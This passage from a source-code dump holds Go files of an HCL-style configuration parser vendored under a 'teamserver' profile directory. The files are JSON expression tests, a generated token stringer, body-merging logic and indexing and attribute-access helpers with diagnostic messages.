hcl.Pos{Line: 1, Column: 12, Byte: 11},\n                        },\n                    },\n                },\n            },\n        },\n        {\n            `{\"a\":[\"${foo}\"]}`,\n            []hcl.Traversal{\n                {\n                    hcl.TraverseRoot{\n                        Name: \"foo\",\n                        SrcRange: hcl.Range{\n                            Filename: \"test.json\",\n                            Start:    hcl.Pos{Line: 1, Column: 10, Byte: 9},\n                            End:      hcl.Pos{Line: 1, Column: 13, Byte: 12},\n                        },\n                    },\n                },\n            },\n        },\n        {\n            `{\"a\":{\"b\":\"${foo}\"}}`,\n            []hcl.Traversal{\n                {\n                    hcl.TraverseRoot{\n                        Name: \"foo\",\n                        SrcRange: hcl.Range{\n                            Filename: \"test.json\",\n                            Start:    hcl.Pos{Line: 1, Column: 14, Byte: 13},\n                            End:      hcl.Pos{Line: 1, Column: 17, Byte: 16},\n                        },\n                    },\n                },\n            },\n        },\n        {\n            `{\"a\":{\"${foo}\":\"b\"}}`,\n            []hcl.Traversal{\n                {\n                    hcl.TraverseRoot{\n                        Name: \"foo\",\n                        SrcRange: hcl.Range{\n                            Filename: \"test.json\",\n                            Start:    hcl.Pos{Line: 1, Column: 10, Byte: 9},\n                            End:      hcl.Pos{Line: 1, Column: 13, Byte: 12},\n                        },\n                    },\n                },\n            },\n        },\n    }\n\n    for _, test := range tests {\n        t.Run(test.Src, func(t *testing.T) {\n            file, diags := Parse([]byte(test.Src), \"test.json\")\n            if len(diags) != 0 {\n                t.Fatalf(\"Parse produced diagnostics: %s\", diags)\n            }\n            attrs, diags := file.Body.JustAttributes()\n            if len(diags) != 0 {\n                t.Fatalf(\"JustAttributes produced diagnostics: %s\", diags)\n            }\n            got := attrs[\"a\"].Expr.Variables()\n            if !reflect.DeepEqual(got, test.Want) {\n                t.Errorf(\"wrong result\\ngot:  %s\\nwant: %s\", spew.Sdump(got), spew.Sdump(test.Want))\n            }\n        })\n    }\n}\n\nfunc TestExpressionAsTraversal(t *testing.T) {\n    e := &expression{\n        src: &stringVal{\n            Value: \"foo.bar[0]\",\n        },\n    }\n    traversal := e.AsTraversal()\n    if len(traversal) != 3 {\n        t.Fatalf(\"incorrect traversal %#v; want length 3\", traversal)\n    }\n}\n\nfunc TestStaticExpressionList(t *testing.T) {\n    e := &expression{\n        src: &arrayVal{\n            Values: []node{\n                &stringVal{\n                    Value: \"hello\",\n                },\n            },\n        },\n    }\n    exprs := e.ExprList()\n    if len(exprs) != 1 {\n        t.Fatalf(\"incorrect exprs %#v; want length 1\", exprs)\n    }\n    if exprs[0].(*expression).src != e.src.(*arrayVal).Values[0] {\n        t.Fatalf(\"wrong first expression node\")\n    }\n}\n\nfunc TestExpression_Value(t *testing.T) {\n    src := `{\n  \"string\": \"string_val\",\n  \"number\": 5,\n  \"bool_true\": true,\n  \"bool_false\": false,\n  \"array\": [\"a\"],\n  \"object\": {\"key\": \"value\"},\n  \"null\": null\n}`\n    expected := map[string]cty.Value{\n        \"string\":     cty.StringVal(\"string_val\"),\n        \"number\":     cty.NumberIntVal(5),\n        \"bool_true\":  cty.BoolVal(true),\n        \"bool_false\": cty.BoolVal(false),\n        \"array\":      cty.TupleVal([]cty.Value{cty.StringVal(\"a\")}),\n        \"object\": cty.ObjectVal(map[string]cty.Value{\n            \"key\": cty.StringVal(\"value\"),\n        }),\n        \"null\": cty.NullVal(cty.DynamicPseudoType),\n    }\n\n    file, diags := Parse([]byte(src), \"\")\n    if len(diags) != 0 {\n        t.Errorf(\"got %d diagnostics on parse; want 0\", len(diags))\n        for _, diag := range diags {\n            t.Logf(\"- %s\", diag.Error())\n        }\n    }\n    if file == nil {\n        t.Errorf(\"got nil File; want actual file\")\n    }\n    if file.Body == nil {\n        t.Fatalf(\"got nil Body; want actual body\")\n    }\n    attrs, diags := file.Body.JustAttributes()\n    if len(diags) != 0 {\n        t.Errorf(\"got %d diagnostics on decode; want 0\", len(diags))\n        for _, diag := range diags {\n            t.Logf(\"- %s\", diag.Error())\n        }\n    }\n\n    for ek, ev := range expected {\n        val, diags := attrs[ek].Expr.Value(&hcl.EvalContext{})\n        if len(diags) != 0 {\n            t.Errorf(\"got %d diagnostics on eval; want 0\", len(diags))\n            for _, diag := range diags {\n                t.Logf(\"- %s\", diag.Error())\n            }\n        }\n\n        if !val.RawEquals(ev) {\n            t.Errorf(\"wrong result %#v; want %#v\", val, ev)\n        }\n    }\n\n}\n\n// TestExpressionValue_Diags asserts that Value() returns diagnostics\n// from nested evaluations for complex objects (e.g. ObjectVal, ArrayVal)\nfunc TestExpressionValue_Diags(t *testing.T) {\n    cases := []struct {\n        name     string\n        src      string\n        expected cty.Value\n        error    string\n    }{\n        {\n            name:     \"string: happy\",\n            src:      `{\"v\": \"happy ${VAR1}\"}`,\n            expected: cty.StringVal(\"happy case\"),\n        },\n        {\n            name:     \"string: unhappy\",\n            src:      `{\"v\": \"happy ${UNKNOWN}\"}`,\n            expected: cty.UnknownVal(cty.String),\n            error:    \"Unknown variable\",\n        },\n        {\n            name: \"object_val: happy\",\n            src:  `{\"v\": {\"key\": \"happy ${VAR1}\"}}`,\n            expected: cty.ObjectVal(map[string]cty.Value{\n                \"key\": cty.StringVal(\"happy case\"),\n            }),\n        },\n        {\n            name: \"object_val: unhappy\",\n            src:  `{\"v\": {\"key\": \"happy ${UNKNOWN}\"}}`,\n            expected: cty.ObjectVal(map[string]cty.Value{\n                \"key\": cty.UnknownVal(cty.String),\n            }),\n            error: \"Unknown variable\",\n        },\n        {\n            name: \"object_key: happy\",\n            src:  `{\"v\": {\"happy ${VAR1}\": \"val\"}}`,\n            expected: cty.ObjectVal(map[string]cty.Value{\n                \"happy case\": cty.StringVal(\"val\"),\n            }),\n        },\n        {\n            name:     \"object_key: unhappy\",\n            src:      `{\"v\": {\"happy ${UNKNOWN}\": \"val\"}}`,\n            expected: cty.DynamicVal,\n            error:    \"Unknown variable\",\n        },\n        {\n            name:     \"array: happy\",\n            src:      `{\"v\": [\"happy ${VAR1}\"]}`,\n            expected: cty.TupleVal([]cty.Value{cty.StringVal(\"happy case\")}),\n        },\n        {\n            name:     \"array: unhappy\",\n            src:      `{\"v\": [\"happy ${UNKNOWN}\"]}`,\n            expected: cty.TupleVal([]cty.Value{cty.UnknownVal(cty.String)}),\n            error:    \"Unknown variable\",\n        },\n    }\n\n    ctx := &hcl.EvalContext{\n        Variables: map[string]cty.Value{\n            \"VAR1\": cty.StringVal(\"case\"),\n        },\n    }\n\n    for _, c := range cases {\n        t.Run(c.name, func(t *testing.T) {\n            file, diags := Parse([]byte(c.src), \"\")\n\n            if len(diags) != 0 {\n                t.Errorf(\"got %d diagnostics on parse; want 0\", len(diags))\n                for _, diag := range diags {\n                    t.Logf(\"- %s\", diag.Error())\n                }\n                t.FailNow()\n            }\n            if file == nil {\n                t.Errorf(\"got nil File; want actual file\")\n            }\n            if file.Body == nil {\n                t.Fatalf(\"got nil Body; want actual body\")\n            }\n\n            attrs, diags := file.Body.JustAttributes()\n            if len(diags) != 0 {\n                t.Errorf(\"got %d diagnostics on decode; want 0\", len(diags))\n                for _, diag := range diags {\n                    t.Logf(\"- %s\", diag.Error())\n                }\n                t.FailNow()\n            }\n\n            val, diags := attrs[\"v\"].Expr.Value(ctx)\n            if c.error == \"\" && len(diags) != 0 {\n                t.Errorf(\"got %d diagnostics on eval; want 0\", len(diags))\n                for _, diag := range diags {\n                    t.Logf(\"- %s\", diag.Error())\n                }\n                t.FailNow()\n            } else if c.error != \"\" && len(diags) == 0 {\n                t.Fatalf(\"got 0 diagnostics on eval, want 1 with %s\", c.error)\n            } else if c.error != \"\" && len(diags) != 0 {\n                if !strings.Contains(diags[0].Error(), c.error) {\n                    t.Fatalf(\"found error: %s; want %s\", diags[0].Error(), c.error)\n                }\n            }\n\n            if !val.RawEquals(c.expected) {\n                t.Errorf(\"wrong result %#v; want %#v\", val, c.expected)\n            }\n        })\n    }\n\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/json/tokentype_string.go",
    "content": "// Code generated by \"stringer -type tokenType scanner.go\"; DO NOT EDIT.\n\npackage json\n\nimport \"strconv\"\n\nconst _tokenType_name = \"tokenInvalidtokenCommatokenColontokenEqualstokenKeywordtokenNumbertokenStringtokenBrackOtokenBrackCtokenBraceOtokenBraceCtokenEOF\"\n\nvar _tokenType_map = map[tokenType]string{\n\t0:    _tokenType_name[0:12],\n\t44:   _tokenType_name[12:22],\n\t58:   _tokenType_name[22:32],\n\t61:   _tokenType_name[32:43],\n\t75:   _tokenType_name[43:55],\n\t78:   _tokenType_name[55:66],\n\t83:   _tokenType_name[66:77],\n\t91:   _tokenType_name[77:88],\n\t93:   _tokenType_name[88:99],\n\t123:  _tokenType_name[99:110],\n\t125:  _tokenType_name[110:121],\n\t9220: _tokenType_name[121:129],\n}\n\nfunc (i tokenType) String() string {\n\tif str, ok := _tokenType_map[i]; ok {\n\t\treturn str\n\t}\n\treturn \"tokenType(\" + strconv.FormatInt(int64(i), 10) + \")\"\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/merged.go",
    "content": "package hcl\n\nimport (\n\t\"fmt\"\n)\n\n// MergeFiles combines the given files to produce a single body that contains\n// configuration from all of the given files.\n//\n// The ordering of the given files decides the order in which contained\n// elements will be returned. If any top-level attributes are defined with\n// the same name across multiple files, a diagnostic will be produced from\n// the Content and PartialContent methods describing this error in a\n// user-friendly way.\nfunc MergeFiles(files []*File) Body {\n\tvar bodies []Body\n\tfor _, file := range files {\n\t\tbodies = append(bodies, file.Body)\n\t}\n\treturn MergeBodies(bodies)\n}\n\n// MergeBodies is like MergeFiles except it deals directly with bodies, rather\n// than with entire files.\nfunc MergeBodies(bodies []Body) Body {\n\tif len(bodies) == 0 {\n\t\t// Swap out for our singleton empty body, to reduce the number of\n\t\t// empty slices we have hanging around.\n\t\treturn emptyBody\n\t}\n\n\t// If any of the given bodies are already merged bodies, we'll unpack\n\t// to flatten to a single mergedBodies, since that's conceptually simpler.\n\t// This also, as a side-effect, eliminates any empty bodies, since\n\t// empties are merged bodies with no inner bodies.\n\tvar newLen int\n\tvar flatten bool\n\tfor _, body := range bodies {\n\t\tif children, merged := body.(mergedBodies); merged {\n\t\t\tnewLen += len(children)\n\t\t\tflatten = true\n\t\t} else {\n\t\t\tnewLen++\n\t\t}\n\t}\n\n\tif !flatten { // not just newLen == len, because we might have mergedBodies with single bodies inside\n\t\treturn mergedBodies(bodies)\n\t}\n\n\tif newLen == 0 {\n\t\t// Don't allocate a new empty when we already have one\n\t\treturn emptyBody\n\t}\n\n\tnew := make([]Body, 0, newLen)\n\tfor _, body := range bodies {\n\t\tif children, merged := body.(mergedBodies); merged {\n\t\t\tnew = append(new, children...)\n\t\t} else {\n\t\t\tnew = append(new, body)\n\t\t}\n\t}\n\treturn mergedBodies(new)\n}\n\nvar emptyBody = mergedBodies([]Body{})\n\n// EmptyBody returns a body with no content. This body can be used as a\n// placeholder when a body is required but no body content is available.\nfunc EmptyBody() Body {\n\treturn emptyBody\n}\n\ntype mergedBodies []Body\n\n// Content returns the content produced by applying the given schema to all\n// of the merged bodies and merging the result.\n//\n// Although required attributes _are_ supported, they should be used sparingly\n// with merged bodies since in this case there is no contextual information\n// with which to return good diagnostics. Applications working with merged\n// bodies may wish to mark all attributes as optional and then check for\n// required attributes afterwards, to produce better diagnostics.\nfunc (mb mergedBodies) Content(schema *BodySchema) (*BodyContent, Diagnostics) {\n\t// the returned body will always be empty in this case, because mergedContent\n\t// will only ever call Content on the child bodies.\n\tcontent, _, diags := mb.mergedContent(schema, false)\n\treturn content, diags\n}\n\nfunc (mb mergedBodies) PartialContent(schema *BodySchema) (*BodyContent, Body, Diagnostics) {\n\treturn mb.mergedContent(schema, true)\n}\n\nfunc (mb mergedBodies) JustAttributes() (Attributes, Diagnostics) {\n\tattrs := make(map[string]*Attribute)\n\tvar diags Diagnostics\n\n\tfor _, body := range mb {\n\t\tthisAttrs, thisDiags := body.JustAttributes()\n\n\t\tif len(thisDiags) != 0 {\n\t\t\tdiags = append(diags, thisDiags...)\n\t\t}\n\n\t\tif thisAttrs != nil {\n\t\t\tfor name, attr := range thisAttrs {\n\t\t\t\tif existing := attrs[name]; existing != nil {\n\t\t\t\t\tdiags = diags.Append(&Diagnostic{\n\t\t\t\t\t\tSeverity: DiagError,\n\t\t\t\t\t\tSummary:  \"Duplicate argument\",\n\t\t\t\t\t\tDetail: fmt.Sprintf(\n\t\t\t\t\t\t\t\"Argument %q was already set at %s\",\n\t\t\t\t\t\t\tname, existing.NameRange.String(),\n\t\t\t\t\t\t),\n\t\t\t\t\t\tSubject: &attr.NameRange,\n\t\t\t\t\t})\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tattrs[name] = attr\n\t\t\t}\n\t\t}\n\t}\n\n\treturn attrs, diags\n}\n\nfunc (mb mergedBodies) MissingItemRange() Range {\n\tif len(mb) == 0 {\n\t\t// Nothing useful to return here, so we'll return some garbage.\n\t\treturn Range{\n\t\t\tFilename: \"<empty>\",\n\t\t}\n\t}\n\n\t// arbitrarily use the first body's missing item range\n\treturn mb[0].MissingItemRange()\n}\n\nfunc (mb mergedBodies) mergedContent(schema *BodySchema, partial bool) (*BodyContent, Body, Diagnostics) {\n\t// We need to produce a new schema with none of the attributes marked as\n\t// required, since _any one_ of our bodies can contribute an attribute value.\n\t// We'll separately check that all required attributes are present at\n\t// the end.\n\tmergedSchema := &BodySchema{\n\t\tBlocks: schema.Blocks,\n\t}\n\tfor _, attrS := range schema.Attributes {\n\t\tmergedAttrS := attrS\n\t\tmergedAttrS.Required = false\n\t\tmergedSchema.Attributes = append(mergedSchema.Attributes, mergedAttrS)\n\t}\n\n\tvar mergedLeftovers []Body\n\tcontent := &BodyContent{\n\t\tAttributes: map[string]*Attribute{},\n\t}\n\n\tvar diags Diagnostics\n\tfor _, body := range mb {\n\t\tvar thisContent *BodyContent\n\t\tvar thisLeftovers Body\n\t\tvar thisDiags Diagnostics\n\n\t\tif partial {\n\t\t\tthisContent, thisLeftovers, thisDiags = body.PartialContent(mergedSchema)\n\t\t} else {\n\t\t\tthisContent, thisDiags = body.Content(mergedSchema)\n\t\t}\n\n\t\tif thisLeftovers != nil {\n\t\t\tmergedLeftovers = append(mergedLeftovers, thisLeftovers)\n\t\t}\n\t\tif len(thisDiags) != 0 {\n\t\t\tdiags = append(diags, thisDiags...)\n\t\t}\n\n\t\tif thisContent.Attributes != nil {\n\t\t\tfor name, attr := range thisContent.Attributes {\n\t\t\t\tif existing := content.Attributes[name]; existing != nil {\n\t\t\t\t\tdiags = diags.Append(&Diagnostic{\n\t\t\t\t\t\tSeverity: DiagError,\n\t\t\t\t\t\tSummary:  \"Duplicate argument\",\n\t\t\t\t\t\tDetail: fmt.Sprintf(\n\t\t\t\t\t\t\t\"Argument %q was already set at %s\",\n\t\t\t\t\t\t\tname, existing.NameRange.String(),\n\t\t\t\t\t\t),\n\t\t\t\t\t\tSubject: &attr.NameRange,\n\t\t\t\t\t})\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tcontent.Attributes[name] = attr\n\t\t\t}\n\t\t}\n\n\t\tif len(thisContent.Blocks) != 0 {\n\t\t\tcontent.Blocks = append(content.Blocks, thisContent.Blocks...)\n\t\t}\n\t}\n\n\t// Finally, we check for required attributes.\n\tfor _, attrS := range schema.Attributes {\n\t\tif !attrS.Required {\n\t\t\tcontinue\n\t\t}\n\n\t\tif content.Attributes[attrS.Name] == nil {\n\t\t\t// We don't have any context here to produce a good diagnostic,\n\t\t\t// which is why we warn in the Content docstring to minimize the\n\t\t\t// use of required attributes on merged bodies.\n\t\t\tdiags = diags.Append(&Diagnostic{\n\t\t\t\tSeverity: DiagError,\n\t\t\t\tSummary:  \"Missing required argument\",\n\t\t\t\tDetail: fmt.Sprintf(\n\t\t\t\t\t\"The argument %q is required, but was not set.\",\n\t\t\t\t\tattrS.Name,\n\t\t\t\t),\n\t\t\t})\n\t\t}\n\t}\n\n\tleftoverBody := MergeBodies(mergedLeftovers)\n\treturn content, leftoverBody, diags\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ops.go",
    "content": "package hcl\n\nimport (\n\t\"fmt\"\n\t\"math/big\"\n\n\t\"github.com/zclconf/go-cty/cty\"\n\t\"github.com/zclconf/go-cty/cty/convert\"\n)\n\n// Index is a helper function that performs the same operation as the index\n// operator in the HCL expression language. That is, the result is the\n// same as it would be for collection[key] in a configuration expression.\n//\n// This is exported so that applications can perform indexing in a manner\n// consistent with how the language does it, including handling of null and\n// unknown values, etc.\n//\n// Diagnostics are produced if the given combination of values is not valid.\n// Therefore a pointer to a source range must be provided to use in diagnostics,\n// though nil can be provided if the calling application is going to\n// ignore the subject of the returned diagnostics anyway.\nfunc Index(collection, key cty.Value, srcRange *Range) (cty.Value, Diagnostics) {\n\tconst invalidIndex = \"Invalid index\"\n\n\tif collection.IsNull() {\n\t\treturn cty.DynamicVal, Diagnostics{\n\t\t\t{\n\t\t\t\tSeverity: DiagError,\n\t\t\t\tSummary:  \"Attempt to index null value\",\n\t\t\t\tDetail:   \"This value is null, so it does not have any indices.\",\n\t\t\t\tSubject:  srcRange,\n\t\t\t},\n\t\t}\n\t}\n\tif key.IsNull() {\n\t\treturn cty.DynamicVal, Diagnostics{\n\t\t\t{\n\t\t\t\tSeverity: DiagError,\n\t\t\t\tSummary:  invalidIndex,\n\t\t\t\tDetail:   \"Can't use a null value as an indexing key.\",\n\t\t\t\tSubject:  srcRange,\n\t\t\t},\n\t\t}\n\t}\n\tty := collection.Type()\n\tkty := key.Type()\n\tif kty == cty.DynamicPseudoType || ty == cty.DynamicPseudoType {\n\t\treturn cty.DynamicVal, nil\n\t}\n\n\tswitch {\n\n\tcase ty.IsListType() || ty.IsTupleType() || ty.IsMapType():\n\t\tvar wantType cty.Type\n\t\tswitch {\n\t\tcase ty.IsListType() || ty.IsTupleType():\n\t\t\twantType = cty.Number\n\t\tcase ty.IsMapType():\n\t\t\twantType = cty.String\n\t\tdefault:\n\t\t\t// should never happen\n\t\t\tpanic(\"don't know what key type we want\")\n\t\t}\n\n\t\tkey, keyErr := convert.Convert(key, wantType)\n\t\tif keyErr != nil {\n\t\t\treturn cty.DynamicVal, Diagnostics{\n\t\t\t\t{\n\t\t\t\t\tSeverity: DiagError,\n\t\t\t\t\tSummary:  invalidIndex,\n\t\t\t\t\tDetail: fmt.Sprintf(\n\t\t\t\t\t\t\"The given key does not identify an element in this collection value: %s.\",\n\t\t\t\t\t\tkeyErr.Error(),\n\t\t\t\t\t),\n\t\t\t\t\tSubject: srcRange,\n\t\t\t\t},\n\t\t\t}\n\t\t}\n\n\t\t// Here we drop marks from HasIndex result, in order to allow basic\n\t\t// traversal of a marked list, tuple, or map in the same way we can\n\t\t// traverse a marked object\n\t\thas, _ := collection.HasIndex(key).Unmark()\n\t\tif !has.IsKnown() {\n\t\t\tif ty.IsTupleType() {\n\t\t\t\treturn cty.DynamicVal, nil\n\t\t\t} else {\n\t\t\t\treturn cty.UnknownVal(ty.ElementType()), nil\n\t\t\t}\n\t\t}\n\t\tif has.False() {\n\t\t\tif (ty.IsListType() || ty.IsTupleType()) && key.Type().Equals(cty.Number) {\n\t\t\t\tif key.IsKnown() && !key.IsNull() {\n\t\t\t\t\t// NOTE: we don't know what any marks might've represented\n\t\t\t\t\t// up at the calling application layer, so we must avoid\n\t\t\t\t\t// showing the literal number value in these error messages\n\t\t\t\t\t// in case the mark represents something important, such as\n\t\t\t\t\t// a value being \"sensitive\".\n\t\t\t\t\tkey, _ := key.Unmark()\n\t\t\t\t\tbf := key.AsBigFloat()\n\t\t\t\t\tif _, acc := bf.Int(nil); acc != big.Exact {\n\t\t\t\t\t\t// We have a more specialized error message for the\n\t\t\t\t\t\t// situation of using a fractional number to index into\n\t\t\t\t\t\t// a sequence, because that will tend to happen if the\n\t\t\t\t\t\t// user is trying to use division to calculate an index\n\t\t\t\t\t\t// and not realizing that HCL does float division\n\t\t\t\t\t\t// rather than integer division.\n\t\t\t\t\t\treturn cty.DynamicVal, Diagnostics{\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tSeverity: DiagError,\n\t\t\t\t\t\t\t\tSummary:  invalidIndex,\n\t\t\t\t\t\t\t\tDetail:   \"The given key does not identify an element in this collection value: indexing a sequence requires a whole number, but the given index has a fractional part.\",\n\t\t\t\t\t\t\t\tSubject:  srcRange,\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif bf.Sign() < 0 {\n\t\t\t\t\t\t// Some other languages allow negative indices to\n\t\t\t\t\t\t// select \"backwards\" from the end of the sequence,\n\t\t\t\t\t\t// but HCL doesn't do that in order to give better\n\t\t\t\t\t\t// feedback if a dynamic index is calculated\n\t\t\t\t\t\t// incorrectly.\n\t\t\t\t\t\treturn cty.DynamicVal, Diagnostics{\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tSeverity: DiagError,\n\t\t\t\t\t\t\t\tSummary:  invalidIndex,\n\t\t\t\t\t\t\t\tDetail:   \"The given key does not identify an element in this collection value: a negative number is not a valid index for a sequence.\",\n\t\t\t\t\t\t\t\tSubject:  srcRange,\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif lenVal := collection.Length(); lenVal.IsKnown() && !lenVal.IsMarked() {\n\t\t\t\t\t\t// Length always returns a number, and we already\n\t\t\t\t\t\t// checked that it's a known number, so this is safe.\n\t\t\t\t\t\tlenBF := lenVal.AsBigFloat()\n\t\t\t\t\t\tvar result big.Float\n\t\t\t\t\t\tresult.Sub(bf, lenBF)\n\t\t\t\t\t\tif result.Sign() < 1 {\n\t\t\t\t\t\t\tif lenBF.Sign() == 0 {\n\t\t\t\t\t\t\t\treturn cty.DynamicVal, Diagnostics{\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tSeverity: DiagError,\n\t\t\t\t\t\t\t\t\t\tSummary:  invalidIndex,\n\t\t\t\t\t\t\t\t\t\tDetail:   \"The given key does not identify an element in this collection value: the collection has no elements.\",\n\t\t\t\t\t\t\t\t\t\tSubject:  srcRange,\n\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\treturn cty.DynamicVal, Diagnostics{\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tSeverity: DiagError,\n\t\t\t\t\t\t\t\t\t\tSummary:  invalidIndex,\n\t\t\t\t\t\t\t\t\t\tDetail:   \"The given key does not identify an element in this collection value: the given index is greater than or equal to the length of the collection.\",\n\t\t\t\t\t\t\t\t\t\tSubject:  srcRange,\n\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// If this is not one of the special situations we handled above\n\t\t\t// then we'll fall back on a very generic message.\n\t\t\treturn cty.DynamicVal, Diagnostics{\n\t\t\t\t{\n\t\t\t\t\tSeverity: DiagError,\n\t\t\t\t\tSummary:  invalidIndex,\n\t\t\t\t\tDetail:   \"The given key does not identify an element in this collection value.\",\n\t\t\t\t\tSubject:  srcRange,\n\t\t\t\t},\n\t\t\t}\n\t\t}\n\n\t\treturn collection.Index(key), nil\n\n\tcase ty.IsObjectType():\n\t\twasNumber := key.Type() == cty.Number\n\t\tkey, keyErr := convert.Convert(key, cty.String)\n\t\tif keyErr != nil {\n\t\t\treturn cty.DynamicVal, Diagnostics{\n\t\t\t\t{\n\t\t\t\t\tSeverity: DiagError,\n\t\t\t\t\tSummary:  invalidIndex,\n\t\t\t\t\tDetail: fmt.Sprintf(\n\t\t\t\t\t\t\"The given key does not identify an element in this collection value: %s.\",\n\t\t\t\t\t\tkeyErr.Error(),\n\t\t\t\t\t),\n\t\t\t\t\tSubject: srcRange,\n\t\t\t\t},\n\t\t\t}\n\t\t}\n\t\tif !collection.IsKnown() {\n\t\t\treturn cty.DynamicVal, nil\n\t\t}\n\t\tif !key.IsKnown() {\n\t\t\treturn cty.DynamicVal, nil\n\t\t}\n\n\t\tkey, _ = key.Unmark()\n\t\tattrName := key.AsString()\n\n\t\tif !ty.HasAttribute(attrName) {\n\t\t\tvar suggestion string\n\t\t\tif wasNumber {\n\t\t\t\t// We note this only as an addendum to an error we would've\n\t\t\t\t// already returned anyway, because it is valid (albeit weird)\n\t\t\t\t// to have an attribute whose name is just decimal digits\n\t\t\t\t// and then access that attribute using a number whose\n\t\t\t\t// decimal representation is the same digits.\n\t\t\t\tsuggestion = \" An object only supports looking up attributes by name, not by numeric index.\"\n\t\t\t}\n\t\t\treturn cty.DynamicVal, Diagnostics{\n\t\t\t\t{\n\t\t\t\t\tSeverity: DiagError,\n\t\t\t\t\tSummary:  invalidIndex,\n\t\t\t\t\tDetail:   fmt.Sprintf(\"The given key does not identify an element in this collection value.%s\", suggestion),\n\t\t\t\t\tSubject:  srcRange,\n\t\t\t\t},\n\t\t\t}\n\t\t}\n\n\t\treturn collection.GetAttr(attrName), nil\n\n\tcase ty.IsSetType():\n\t\treturn cty.DynamicVal, Diagnostics{\n\t\t\t{\n\t\t\t\tSeverity: DiagError,\n\t\t\t\tSummary:  invalidIndex,\n\t\t\t\tDetail:   \"Elements of a set are identified only by their value and don't have any separate index or key to select with, so it's only possible to perform operations across all elements of the set.\",\n\t\t\t\tSubject:  srcRange,\n\t\t\t},\n\t\t}\n\n\tdefault:\n\t\treturn cty.DynamicVal, Diagnostics{\n\t\t\t{\n\t\t\t\tSeverity: DiagError,\n\t\t\t\tSummary:  invalidIndex,\n\t\t\t\tDetail:   \"This value does not have any indices.\",\n\t\t\t\tSubject:  srcRange,\n\t\t\t},\n\t\t}\n\t}\n\n}\n\n// GetAttr is a helper function that performs the same operation as the\n// attribute access in the HCL expression language. That is, the result is the\n// same as it would be for obj.attr in a configuration expression.\n//\n// This is exported so that applications can access attributes in a manner\n// consistent with how the language does it, including handling of null and\n// unknown values, etc.\n//\n// Diagnostics are produced if the given combination of values is not valid.\n// Therefore a pointer to a source range must be provided to use in diagnostics,\n// though nil can be provided if the calling application is going to\n// ignore the subject of the returned diagnostics anyway.\nfunc GetAttr(obj cty.Value, attrName string, srcRange *Range) (cty.Value, Diagnostics) {\n\tif obj.IsNull() {\n\t\treturn cty.DynamicVal, Diagnostics{\n\t\t\t{\n\t\t\t\tSeverity: DiagError,\n\t\t\t\tSummary:  \"Attempt to get attribute from null value\",\n\t\t\t\tDetail:   \"This value is null, so it does not have any attributes.\",\n\t\t\t\tSubject:  srcRange,\n\t\t\t},\n\t\t}\n\t}\n\n\tconst unsupportedAttr = \"Unsupported attribute\"\n\n\tty := obj.Type()\n\tswitch {\n\tcase ty.IsObjectType():\n\t\tif !ty.HasAttribute(attrName) {\n\t\t\treturn cty.DynamicVal, Diagnostics{\n\t\t\t\t{\n\t\t\t\t\tSeverity: DiagError,\n\t\t\t\t\tSummary:  unsupportedAttr,\n\t\t\t\t\tDetail:   fmt.Sprintf(\"This object does not have an attribute named %q.\", attrName),\n\t\t\t\t\tSubject:  srcRange,\n\t\t\t\t},\n\t\t\t}\n\t\t}\n\n\t\tif !obj.IsKnown() {\n\t\t\treturn cty.UnknownVal(ty.AttributeType(attrName)), nil\n\t\t}\n\n\t\treturn obj.GetAttr(attrName), nil\n\tcase ty.IsMapType():\n\t\tif !obj.IsKnown() {\n\t\t\treturn cty.UnknownVal(ty.ElementType()), nil\n\t\t}\n\n\t\tidx := cty.StringVal(attrName)\n\n\t\t// Here we drop marks from HasIndex result, in order to allow basic\n\t\t// traversal of a marked map in the same way we can traverse a marked\n\t\t// object\n\t\thasIndex, _ := obj.HasIndex(idx).Unmark()\n\t\tif hasIndex.False() {\n\t\t\treturn cty.DynamicVal, Diagnostics{\n\t\t\t\t{\n\t\t\t\t\tSeverity: DiagError,\n\t\t\t\t\tSummary:  \"Missing map element\",\n\t\t\t\t\tDetail:   fmt.Sprintf(\"This map does not have an element with the key %q.\", attrName),\n\t\t\t\t\tSubject:  srcRange,\n\t\t\t\t},\n\t\t\t}\n\t\t}\n\n\t\treturn obj.Index(idx), nil\n\tcase ty == cty.DynamicPseudoType:\n\t\treturn cty.DynamicVal, nil\n\tcase ty.IsListType() && ty.ElementType().IsObjectType():\n\t\t// It seems a common mistake to try to access attributes on a whole\n\t\t// list of objects rather than on a specific individual element, so\n\t\t// we have some extra hints for that case.\n\n\t\tswitch {\n\t\tcase ty.ElementType().HasAttribute(attrName):\n\t\t\t// This is a very strong indication that the user mistook the list\n\t\t\t// of objects for a single object, so we can be a little more\n\t\t\t// direct in our suggestion here.\n\t\t\treturn cty.DynamicVal, Diagnostics{\n\t\t\t\t{\n\t\t\t\t\tSeverity: DiagError,\n\t\t\t\t\tSummary:  unsupportedAttr,\n\t\t\t\t\tDetail:   fmt.Sprintf(\"Can't access attributes on a list of objects. Did you mean to access attribute %q for a specific element of the list, or across all elements of the list?\", attrName),\n\t\t\t\t\tSubject:  srcRange,\n\t\t\t\t},\n\t\t\t}\n\t\tdefault:\n\t\t\treturn cty.DynamicVal, Diagnostics{\n\t\t\t\t{\n\t\t\t\t\tSeverity: DiagError,\n\t\t\t\t\tSummary:  unsupportedAttr,\n\t\t\t\t\tDetail:   \"Can't access attributes on a list of objects. Did you mean to access an attribute for a specific element of the list, or across all elements of the list?\",\n\t\t\t\t\tSubject:  srcRange,\n\t\t\t\t},\n\t\t\t}\n\t\t}\n\n\tcase ty.IsSetType() && ty.ElementType().IsObjectType():\n\t\t// This is similar to the previous case, but we can't 